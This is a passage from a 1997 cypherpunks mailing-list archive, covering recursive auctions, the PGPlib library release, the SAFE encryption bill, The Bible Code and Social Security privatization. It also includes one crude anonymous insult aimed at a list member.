So, somewhere, Greg, I think Dr. Hayek must be laughing out loud.

That's why this kind of stuff might be important to your readership.


Oh. Yeah. I forgot. The actual topic of this missive. What's a "recursive
auction"?

Jason Cronk, who subscribes to AustrianEcon, by the way, did a talk on them
at the rump-session of, you guessed it, FC97 in Anguilla. Ian Grigg, a
major free banking fan, and also a subscriber, presented an idea which is
exactly the obverse(?) for *his* paper, which was accepted for the main
conference session. Ian's paper dealt with a way to organize the "buy" side
of the same process.  Springer Verlag will be publishing the conference
proceedings sometime this summer, and I'll announce that here, if there's
interest.

Anyway, a recursive auction market, for lack of a better analogy, is kind
of like institutionalized software piracy. I create something new and
digital. I go on the net, and I sell the first copy to the highest bidder.
Then I sell the next copy to the next bid, which, of course, is probably
lower than the first. I keep on doing this until people stop bidding. Of
course, everyone who buys what I'm selling can turn right around and sell
it to someone else in turn, probably at a lower price than they bought it
from me.  This is the only instance I can think of where buying high and
selling low makes you money. ;-). Well, on an item-price basis, anyway.
Obviously, the total return is higher on the sell side than the buy side,
or nobody would be foolish enough to buy anything from you for resale.

Just by forgetting the whole quasimystical issue of "rights" to electronic
intellectual property (which, like the current "intellectual capital"
craze, is, at best, a polite regulatory fiction), timeliness of content is
rewarded, as is novelty, which keeps people who create new stuff right on
cranking it out. A person who's invested in a big switch and bandwidth, or
who has the most valuable use of any other kind, can afford to pay more for
earlier, "fresher", copies of something than someone without the same
net.resources. Because, for instance, in the case of the person with all
the bandwidth, he can resell copies faster than anyone else. A person who
doesn't need something badly can wait a while and pick it up at a lower
price after the initial feeding frenzy's over.  Finally, the person who
continually invents something new gets paid as soon as something he makes
becomes usable to anybody at all. The things which get sold can be anything
from a jotted down brainstorm, to the first draft of a novel, to more
perishible "content", like an hour of teleoperated surgery, say.

So, for works of art, whatever that means, copyright law becomes
superfluous. More to the point, given sufficient attention to such matters,
*all* parties in recursive auction transactions can be completely
anonymous, and everything still works. I mean, when was the last time you
had to produce identification for a cash transaction? Okay, besides at the
bank, and even then for deposits greater than $10k. That's the very
exception which proves the rule, obviously. Cartoon physics comes to
banking. Remember, again, book-entries cause book-entry taxation and
regulations, not vice versa.


Anyway, whether at the increasingly hysterical legislative cartoons, or
because of the now sandy foundations of the nation state, again, Hayek,
somewhere, *must* be laughing, Greg.



Cheers,
Bob Hettinga
Moderator,
The Digital Commerce Society of Boston
(among other things...)



--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 30 May 1997 22:16:32 +0800
To: cypherpunks@toad.com
Subject: PGPlib-0.2 available
Message-ID: <v0302098dafb48a60888b@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


To: pgplib-announce@petium.rhein.de
Subject: PGPlib-0.2 available
Date: Fri, 30 May 1997 15:06:42 +0200
From: Tage Stabell-Kulo <tage@acm.org>
Reply-To: tage@acm.org
Sender: pgplib-announce-owner@petium.rhein.de
Precedence: list

-----BEGIN PGP SIGNED MESSAGE-----


Announcing PGPlib-0.2
=====================

We are pleased to announce a new verison of PGPlib.  You can obtain
the newest version (that is 0.2 as of today) from

	ftp://dslab1.cs.uit.no/pub/PGPlib.tar.gz

In short, you will find a library that enables your software to read
and write "packages" which can be decrypted and/or verified by means
of PGP.  In other words, you can incorporate PGP compatibility in your
software without having to run PGP.

When you uncompress and un-tar the file, you will obtain four files in
the CURRENT directory.  These files are

	README			Describing how to preceed
	PGPlib-0.2.tar		The library, manual pages and so on
	PGPlib-0.2.tar.asc	A detached signature for verification
	pubkey.asc		My public key (again, for verification)

It is described in README how to verify the release you have obtained,
how to unpack, what you will actually get when you unpack, and so on.

What is there for you
=====================

PGPlib is a library that lets you generate (and manipulate) PGP
packets without having to run PGP.  In particular there is code to
generate and understand the following types of PGP packets:

   - Literal with filename, mode, etc.  You can create literate
     packages from files, or from buffers, and create files from
     literate packets;
   - Convential encrypted (IDEA with Zimmermann's context sensitive
     feedback).  The library can both read (decrypt) and write
     (encrypt) convential packets (in PGP format);
   - Armor.  You can (de)armor a buffer or a file into a buffer or a
     file;
   - UserID packets are read and written in a variety of formats;
   - Keys can be obtained from a database (which is provided) or by
     parsing keyrings.  Keys can be kept in buffers or on files;
   - You can maintain a PGP public-key database (I use this library to
     maintain a database with ~40.000 keys).  There is code to use DBM
     as supplied from Berkeley or, if you prefer, GDBM from GNU;
   - You can verify RSA signatures on public keys and on buffers
     (files);
   - You can encrypt data (file or buffer) with public keys.  The DEK
     is naturally written as a separate packet;
   - With a secret key you can sign other keys and buffers.  Keys can
     be read from databases or files; they are decrypted on the fly.

We have made a small program that will (de)armor anything, a parser to
parse PGP files (including decryption and so on), a shell to
manipulate a keydatabase, a keyserver to run on top of such a
database, a program to verify signatures on keys and/or files, a
program to split keyrings in smaller parts and a program that will
sign files for you.  You will find all these (and more) in the
applications/ directory.  None of these uses PGP, the library provides
all the functionality you need.

What you need
=============

   - You must have the SSLeay library as I have not implemented any
     cryptographic functionality; I hope SSLeay is a good choice. I
     did not major in mathematics and can thus not judge the quality
     of their work, although it looks solid (to me).  I link with their
     version 0.6.6.  I rely on SSLeay for great many things, in
     particular their BIGNUMs, RSA encryption and IDEA.  I use
     "fprintf(stderr" when problems occur, but integration into the
     SSLeay "error-system" might happen.  You can obtain SSLeay from:
        * ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/ - SSLeay source
        * ftp://ftp.psy.uq.oz.au/pub/Crypto/SSLapps/ - SSL applications
        * http://www.psy.uq.oz.au/~ftp/Crypto/ssl.html - SSLeay Programmer
          Reference
     SSLeay is quite large and I only use a fraction of it.  On the
     other hand, SSLeay seems to be well maintained and their
     crypto-library might very well shrink or become more modular as
     time passes.


Your Feedback
=============

   Your feedback is solicited.  Peter Simons <Peter.Simons@gmd.de> has
   created a mailinglist for PGPlib.  To subscribe, send an e-mail to
   the address pgplib-dev-request@petium.rhein.de and write the
   command SUBSCRIBE into the BODY. If you want to be subscribed under
   a different address than the one you're mailing from, you can also
   use SUBSCRIBE yourname@somewhere.else to do the trick.  To post to
   the list, send an e-mail to pgplib-dev@petium.rhein.de as usual.

   There is also an pgplib-announce@petium.rhein.de.  Subscribe by
   sending an e-mail to pgplib-announce-request@petium.rhein.de with
   SUBSCRIBE in the body.  The latter list will be very low-volume.

   If you write a nice application based on this library (the ultimate
   feedback :-), please feel free to send it to  me and I will include
   it in the next release;


Where to get PGPlib
===================

	ftp://dslab1.cs.uit.no/pub/PGPlib.tar.gz

COPYRIGHT  (yum, yum)
=========

   The library and included applications are all available under
   "Berkely style" copyright terms.  Basically, this means that it is
   FREE for commercial and non-comercial use, and that you can do
   almost anything with the code.  The only thing you can not do is to
   say that you wrote it.  See the file COPYING for details.


Let's go to work
================

   I hope you like it, that you find is useful, that you will find no
   bugs, and that you will provide valuable feedback by means of the
   mailing list.

      Tage Stabell-Kul¯
      Castelmaggiore, Italy
      30. May 1997


////        Tage Stabell-Kuloe         | e-mail: tage@ACM.org          ////
/// Department of Computer Science/IMR | Phone : +47-776-44032         ///
// 9037  University of Tromsoe, Norway | Fax   : +47-776-44580         //
/       "'oe' is '\o' in TeX"          | URL:http://www.cs.uit.no/~tage/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: latin1
Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface

iQCVAwUBM47QfAMzZ6tx+9RpAQFHJQQAmsrh3sqgeRdOFscXWAb7/bV5ivdgnB4+
IpgGpGPMhNYfAzDJvz2rdvt1Z38NhLjOHOTEl+RhKGUGmc7cDXiaAE38Vh3OJIPu
FijHtMgr++GdxZS5/WvcUxlvvMQjyjDaX84eG0clG1djYizMzR+7HwsIaaJeLtOb
wlBORx01NRo=
=Q5Ed
-----END PGP SIGNATURE-----


------------------------------------------------------------------------------
			  PGP Library Announcements

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 30 May 1997 22:20:39 +0800
To: cypherpunks@toad.com
Subject: The Bible Code
Message-ID: <1.5.4.32.19970530135617.00858be0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Published today with great fanfare, "The Bible Code"
describes the fruits of three Israeli mathematicians in
decrypting hidden messages in the Bible by textual
analysis algorithms. Blurbs claim that the work passed
peer review for publication in a math journal a few
years back, was confirmed by "a US Defense Department
code-breaker" and predicted the assassinations of
JFK, RFK, Sadat and Rabin.

The NYT reported on the fanfare a few days ago and
quoted some who claimed that the Israelis' claims were
examined and faulted when first published, that the book's bunkum, 
and that if enough analysis is done on any text, any message 
can be found -- holy writs being perdurable candidates.

Even so, are any here familiar with the Israelis' work?

Better, is this book the first of many to come to celebrate the
cook-ups of codes and cyphers and algorithmic chefs? Is a 
film in the works, or, best, a Seinfeld of 0s and 1s?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 31 May 1997 01:49:41 +0800
To: cypherpunks@toad.com
Subject: Re: There's something wrong when I'm a felon under an increasing number of
In-Reply-To: <199705291623.KAA00762@wombat.sk.sympatico.ca>
Message-ID: <19970530102450.17269@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 30, 1997 at 11:49:19AM -0400, Rabid Wombat wrote:
> > 
> >   A major nail in the coffin of Justice for any accused in the U.S.
> > 
> > was when the justice system promoted the concept of guilt by virtue
> > 
> > of "circumstantial" evidence to the point where people can now be
> > 
> > convicted as a result of speculation rather than evidence. Prosecutors
> > 
> > now seem to need only to convince the sheeple that it was "possible"
> > 
> > for the defendant to have commited the crime and that circumstantial
> > 
> > evidence points *only* to the accused.
> > 
> 
> Yeah, right. Must be how O.J. got convicted in criminal court. Ooops - 
> just remembered that he walked. Maybe Bell can beat the wrap with a good 
> stiff-arm and a few Hertz commercials ...

I don't understand the animus against circumstantial evidence, 
frankly.  Some circumstantial evidence is extremely good evidence.  
If anything, eyewitness accounts are vastly overrated.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 31 May 1997 01:43:11 +0800
To: cypherpunks@algebra.com
Subject: Re: Comments on the Macintosh
In-Reply-To: <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>
Message-ID: <19970530102942.06733@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 30, 1997 at 08:15:24AM -0700, Tim May wrote:
[...]
> Vinnie M. tells me I should do the upgrade to System 7.6...I think I'll
> pass on this for now.
> 
> --Tim May

You should upgrade to Linux.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 31 May 1997 02:19:56 +0800
To: cypherpunks@toad.com
Subject: How much you lose under Social Security -- socialsecurity.org
Message-ID: <Pine.GSO.3.95.970530110010.8489F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 30 May 1997 10:59:17 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: How much you lose under Social Security -- socialsecurity.org

I'm over at the National Press Club now, just came from a Cato Institute
press conference unveiling their socialsecurity.org web site. It lets you
calculate your retirement income and compare how much you'd get from the
Federal government's Social Security "fund" compared with a private system
like a 401(k). 

And it's fun to play with. Let's say I was born in 1970 and make $30,000 a
year (BTW, I wasn't and don't). Assuming I retire at 67 and inflation is 3
percent, Social Security would give me $1,293 a month after I retire. And
that's if you assume Social Security won't go belly-up, a hard position to
maintain since its own trustees say it's underfunded by 25 to 33 percent.

Compare that to a stock fund, which yields so much more: $8,635 a month.

I can't think of a better argument to privatize Social Security and move
to a system like an IRA or 401(k), a solution the Cato folks have
advocated for years.

Before the big government folks out there criticize Cato's calculator for
being biased, let me point out KPMG Peat Marwick did all calculations and
programming.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 31 May 1997 02:38:11 +0800
To: cypherpunks@toad.com
Subject: GAK
Message-ID: <199705301816.LAA23316@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


May Timothy Maypole's forgeries get stuck up his ass so he'll have to shit 
through his filthy mouth for the rest of its miserable life.

                 .::7777::-.
                /:'////' `::>/|/
              .',  ||||   `/( e\  Timothy Maypole
          -==~-'`-Xm````-mr' `-_\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Fri, 30 May 1997 23:51:59 +0800
To: cypherpunks@toad.com
Subject: INFO: Encryption battle heats up in House; experts weigh in (5/30/97)
Message-ID: <199705301534.LAA05257@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=============================================================================
          ____                  _              _   _
         / ___|_ __ _   _ _ __ | |_ ___       | \ | | _____      _____
        | |   | '__| | | | '_ \| __/ _ \ _____|  \| |/ _ \ \ /\ / / __|
        | |___| |  | |_| | |_) | || (_) |_____| |\  |  __/\ V  V /\__ \
         \____|_|   \__, | .__/ \__\___/      |_| \_|\___| \_/\_/ |___/
                    |___/|_|


             PRO-ENCRYPTION BILL CLEARS SECOND CONGRESSIONAL HURDLE;
                     FACES TOUGHER TEST IN COMING WEEKS.

              CRYPTOGRAPHERS AND COMPUTER SECURITY EXPERTS ASSAIL
                       GOVERNMENT KEY RECOVERY PLANS

     Date: May 29, 1997                            Expires July 1, 1997

         URL:http://www.crypto.com/            crypto-news@panix.com
           Redistribution of crypto-news is allowed in its entirety.

_____________________________________________________________________________
Table of Contents
        Encryption battle heats up in the House
        Experts assail government key recovery plans
        What YOU CAN DO NOW!
        Background
        What's at stake
        How to start or stop receiving crypto-news
        Press contacts

_____________________________________________________________________________
ENCRYPTION BATTLE HEATS UP IN THE HOUSE

On May 14th, the House Judiciary Committee approved a bill designed to
dramatically enhance the ability of Internet users to protect their privacy
and security online.

The bill now moves to the House International Relations Committee, where it
is expected to face tougher opposition from the FBI, NSA, and the Clinton
Administration.  The International Relations Committee is expected to
consider the bill soon.

The Security and Freedom through Encryption Act (SAFE - HR 695) will
prohibit the government from imposing mandatory law enforcement access to
private online communications inside the US, affirm the right of American
Citizens to use whatever from of encryption they choose, and relax current
export restrictions which prevent the development of strong, easy-to-use
encryption technologies.

The Clinton Administration, led by the FBI and the National Security
agency, opposes SAFE and is pushing for a policy of domestic restrictions
on the use of encryption, guaranteed law enforcement access to private
communications via government designed "key-recovery" systems, and
continued reliance on out-dated, cold-war era export controls.

For the first time in history, Congress is close to passing real encryption
policy reform legislation which will protect privacy, promote electronic
commerce, and recognizes the realities of the global Internet.  Pointers
to additional information on the SAFE bill and other efforts to reform
U.S. encryption policy are attached below.

Congress needs to hear from you!  If you value your privacy and care about
the future of the Net, please take a few moments to join the Adopt Your
Legislator campaign.  Instructions are attached below.

________________________________________________________________________________
CRYPTOGRAPHERS AND COMPUTER SECURITY EXPERTS ASSAIL GOV'T. KEY RECOVERY PLANS

On Wednesday May 21, a group of leading cryptographers and computer
scientists released a report which for the first time examines the
risks and implications of government-designed key-recovery systems.

The report cautions that "The deployment of a general key-recovery-based
encryption infrastructure to meet law enforcement's stated requirements
will result in substantial sacrifices in security and cost to the end user.
Building a secure infrastructure of the breathtaking scale and complexity
demanded by these requirements is far beyond the experience and current
competency of the field."

The report substantially changes the terms of the ongoing debate over US
encryption policy.  For more than four years, the Clinton Administration
has pushed for a policy of continued export restrictions on strong
encryption, and the development of global key escrow and key recovery
systems to address the concerns of law enforcement.  The study, the first
comprehensive analysis of the risks of key recovery and key escrow systems,
calls into question the viability of the Administration's approach.

The Report's authors, recognized leaders in the cryptography and computer
science field, include Hal Abelson, Ross Anderson, Steven M. Bellovin, Josh
Benaloh,  Matt Blaze, Whitfield Diffie, John Gilmore, Peter G. Neumann,
Ronald L. Rivest, Jeffery I. Schiller, and Bruce Schneier

The report is be available online at http://www.crypto.com/key_study/

________________________________________________________________________________
WHAT YOU CAN DO NOW

1. Adopt Your Legislator

   Now is the time to increase our ranks and prepare for the fight that lies
   a head of us in Congress.

   Please take a few minutes to learn more about this important
   issue, and join the Adopt Your Legislator Campaign at
   http://www.crypto.com/adopt/

   This will produce a customized page, just for you with your own
   legislator's telephone number and address.

   In addition, you will receive the latest news and information on the
   issue, as well as targeted alerts informing you when your
   Representatives in Congress do something that could help or hinder
   the future of the Internet.

   Best of all, it's free.  Do your part, Work the Network!

   Visit http://www.crypto.com/adopt/ for details.

2. Spread the Word!

   Forward this Alert to your friends. Help educate the public about the
   importance of this issue.

   Please do not forward after July 1, 1997.

_____________________________________________________________________________
BACKGROUND

Complete background information, including:

* A down-to-earth explanation of why this debate is important to Internet users
* Analysis and background on the issue
* Text of the Administration draft legislation
* Text of Congressional proposals to reform US encryption policy
* Audio transcripts and written testimony from recent Congressional Hearings
  on encryption policy reform
* And more!

Are all available at http://www.crypto.com/

________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US.

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers subsequently
discovered that it is quite easy to break the security of the system and
intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration has DOMESTIC RESTRICTIONS on the
ability of Americans to protect their privacy and security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

______________________________________________________________________________ 
HOW TO START OR STOP RECEIVING CRYPTO-NEWS

To subscribe to crypto-news, sign up from our WWW page (http://www.crypto.com)
or send mail to majordomo@panix.com with "subscribe crypto-news" in the body
of the message.  To unsubscribe, send a letter to majordomo@panix.com with
"unsubscribe crypto-news" in the body.

Requests to unsubscribe that are sent to shabbir@vtw.org will be ignored.

_____________________________________________________________________________
PRESS CONTACT INFORMATION

Press inquiries on Crypto-News should be directed to
	Shabbir J. Safdar (VTW) at +1.718.596.2851 or shabbir@vtw.org
	Jonah Seiger (CDT) at +1.202.637.9800 or jseiger@cdt.org

_____________________________________________________________________________
End crypto-news
=============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Sat, 31 May 1997 00:03:25 +0800
To: Multiple recipients of list <com-priv@lists.psi.com>
Subject: INFO: Encryption battle heats up in House; experts weigh in (5/30/97)
Message-ID: <199705301533.LAA05167@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text


=============================================================================
          ____                  _              _   _
         / ___|_ __ _   _ _ __ | |_ ___       | \ | | _____      _____
        | |   | '__| | | | '_ \| __/ _ \ _____|  \| |/ _ \ \ /\ / / __|
        | |___| |  | |_| | |_) | || (_) |_____| |\  |  __/\ V  V /\__ \
         \____|_|   \__, | .__/ \__\___/      |_| \_|\___| \_/\_/ |___/
                    |___/|_|


             PRO-ENCRYPTION BILL CLEARS SECOND CONGRESSIONAL HURDLE;
                     FACES TOUGHER TEST IN COMING WEEKS.

              CRYPTOGRAPHERS AND COMPUTER SECURITY EXPERTS ASSAIL
                       GOVERNMENT KEY RECOVERY PLANS

     Date: May 29, 1997                            Expires July 1, 1997

         URL:http://www.crypto.com/            crypto-news@panix.com
           Redistribution of crypto-news is allowed in its entirety.

_____________________________________________________________________________
Table of Contents
        Encryption battle heats up in the House
        Experts assail government key recovery plans
        What YOU CAN DO NOW!
        Background
        What's at stake
        How to start or stop receiving crypto-news
        Press contacts

_____________________________________________________________________________
ENCRYPTION BATTLE HEATS UP IN THE HOUSE

On May 14th, the House Judiciary Committee approved a bill designed to
dramatically enhance the ability of Internet users to protect their privacy
and security online.

The bill now moves to the House International Relations Committee, where it
is expected to face tougher opposition from the FBI, NSA, and the Clinton
Administration.  The International Relations Committee is expected to
consider the bill soon.

The Security and Freedom through Encryption Act (SAFE - HR 695) will
prohibit the government from imposing mandatory law enforcement access to
private online communications inside the US, affirm the right of American
Citizens to use whatever from of encryption they choose, and relax current
export restrictions which prevent the development of strong, easy-to-use
encryption technologies.

The Clinton Administration, led by the FBI and the National Security
agency, opposes SAFE and is pushing for a policy of domestic restrictions
on the use of encryption, guaranteed law enforcement access to private
communications via government designed "key-recovery" systems, and
continued reliance on out-dated, cold-war era export controls.

For the first time in history, Congress is close to passing real encryption
policy reform legislation which will protect privacy, promote electronic
commerce, and recognizes the realities of the global Internet.  Pointers
to additional information on the SAFE bill and other efforts to reform
U.S. encryption policy are attached below.

Congress needs to hear from you!  If you value your privacy and care about
the future of the Net, please take a few moments to join the Adopt Your
Legislator campaign.  Instructions are attached below.

________________________________________________________________________________
CRYPTOGRAPHERS AND COMPUTER SECURITY EXPERTS ASSAIL GOV'T. KEY RECOVERY PLANS

On Wednesday May 21, a group of leading cryptographers and computer
scientists released a report which for the first time examines the
risks and implications of government-designed key-recovery systems.

The report cautions that "The deployment of a general key-recovery-based
encryption infrastructure to meet law enforcement's stated requirements
will result in substantial sacrifices in security and cost to the end user.
Building a secure infrastructure of the breathtaking scale and complexity
demanded by these requirements is far beyond the experience and current
competency of the field."

The report substantially changes the terms of the ongoing debate over US
encryption policy.  For more than four years, the Clinton Administration
has pushed for a policy of continued export restrictions on strong
encryption, and the development of global key escrow and key recovery
systems to address the concerns of law enforcement.  The study, the first
comprehensive analysis of the risks of key recovery and key escrow systems,
calls into question the viability of the Administration's approach.

The Report's authors, recognized leaders in the cryptography and computer
science field, include Hal Abelson, Ross Anderson, Steven M. Bellovin, Josh
Benaloh,  Matt Blaze, Whitfield Diffie, John Gilmore, Peter G. Neumann,
Ronald L. Rivest, Jeffery I. Schiller, and Bruce Schneier

The report is be available online at http://www.crypto.com/key_study/

________________________________________________________________________________
WHAT YOU CAN DO NOW

1. Adopt Your Legislator

   Now is the time to increase our ranks and prepare for the fight that lies
   a head of us in Congress.

   Please take a few minutes to learn more about this important
   issue, and join the Adopt Your Legislator Campaign at
   http://www.crypto.com/adopt/

   This will produce a customized page, just for you with your own
   legislator's telephone number and address.

   In addition, you will receive the latest news and information on the
   issue, as well as targeted alerts informing you when your
   Representatives in Congress do something that could help or hinder
   the future of the Internet.

   Best of all, it's free.  Do your part, Work the Network!

   Visit http://www.crypto.com/adopt/ for details.

2. Spread the Word!

   Forward this Alert to your friends. Help educate the public about the
   importance of this issue.

   Please do not forward after July 1, 1997.

_____________________________________________________________________________
BACKGROUND

Complete background information, including:

* A down-to-earth explanation of why this debate is important to Internet users
* Analysis and background on the issue
* Text of the Administration draft legislation
* Text of Congressional proposals to reform US encryption policy
* Audio transcripts and written testimony from recent Congressional Hearings
  on encryption policy reform
* And more!

Are all available at http://www.crypto.com/

________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US.

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers subsequently
discovered that it is quite easy to break the security of the system and
intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration has DOMESTIC RESTRICTIONS on the
ability of Americans to protect their privacy and security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

______________________________________________________________________________ 
HOW TO START OR STOP RECEIVING CRYPTO-NEWS

To subscribe to crypto-news, sign up from our WWW page (http://www.crypto.com)
or send mail to majordomo@panix.com with "subscribe crypto-news" in the body
of the message.  To unsubscribe, send a letter to majordomo@panix.com with
"unsubscribe crypto-news" in the body.

Requests to unsubscribe that are sent to shabbir@vtw.org will be ignored.

_____________________________________________________________________________
PRESS CONTACT INFORMATION

Press inquiries on Crypto-News should be directed to
	Shabbir J. Safdar (VTW) at +1.718.596.2851 or shabbir@vtw.org
	Jonah Seiger (CDT) at +1.202.637.9800 or jseiger@cdt.org

_____________________________________________________________________________
End crypto-news
=============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sat, 31 May 1997 01:18:43 +0800
To: TruthMonger.tm@dev.null
Subject: Re: There's something wrong when I'm a felon under an increasing number of
In-Reply-To: <199705291623.KAA00762@wombat.sk.sympatico.ca>
Message-ID: <Pine.BSF.3.91.970530114520.14485D-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain


> 
>   A major nail in the coffin of Justice for any accused in the U.S.
> 
> was when the justice system promoted the concept of guilt by virtue
> 
> of "circumstantial" evidence to the point where people can now be
> 
> convicted as a result of speculation rather than evidence. Prosecutors
> 
> now seem to need only to convince the sheeple that it was "possible"
> 
> for the defendant to have commited the crime and that circumstantial
> 
> evidence points *only* to the accused.
> 

Yeah, right. Must be how O.J. got convicted in criminal court. Ooops - 
just remembered that he walked. Maybe Bell can beat the wrap with a good 
stiff-arm and a few Hertz commercials ...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 31 May 1997 03:03:56 +0800
To: cypherpunks@algebra.com
Subject: Re: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: <Pine.GSO.3.95.970530110010.8489F-100000@well.com>
Message-ID: <v03102801afb4ccdecef3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:00 AM -0700 5/30/97, Declan McCullagh wrote:

>And it's fun to play with. Let's say I was born in 1970 and make $30,000 a
>year (BTW, I wasn't and don't). Assuming I retire at 67 and inflation is 3
>percent, Social Security would give me $1,293 a month after I retire. And
>that's if you assume Social Security won't go belly-up, a hard position to
>maintain since its own trustees say it's underfunded by 25 to 33 percent.

I paid into the SS fund from 1969 to 1986. And yet I knew from around 1975
or so that it was a Ponzi scheme, with current intake being used to pay
ouflow and with no "trust fund."

(The so-called "trust fund" is actually just a bunch of IOUs placed there
by the government...the inflow is sent back out to welfare mothers,
chiselers, and corporate welfare cases, and an IOU is placed back in the
jar. This is *NOT* calculated into the $5.3 trillion national debt. That
$5.3 trillion debt amounts to $53,000 owed on average by each of the 100
million or so taxpayers (the other 150 million being children, spouses,
nonfilers, welfare recipients, spouses, etc.). Most of these 100 million do
not have $53,000 in any form of assets, of course.)

>Compare that to a stock fund, which yields so much more: $8,635 a month.

I expect to receive essentially nothing from the SS fund when I become
eligible in 22 or more years (they are pushing out the eligibility age...it
may be 75 by the time I "retire").

I won't try to dig up numbers right now, but the combination of the
national debt, the unfunded liabilities (things the Feds have said they'll
pay for but don't have the money in an account for), the SS crisis, the
Medicare crisis, and the changing demographics (hint: the baby boomers
retire in absolutely massive numbers beginning about 15-20 years from
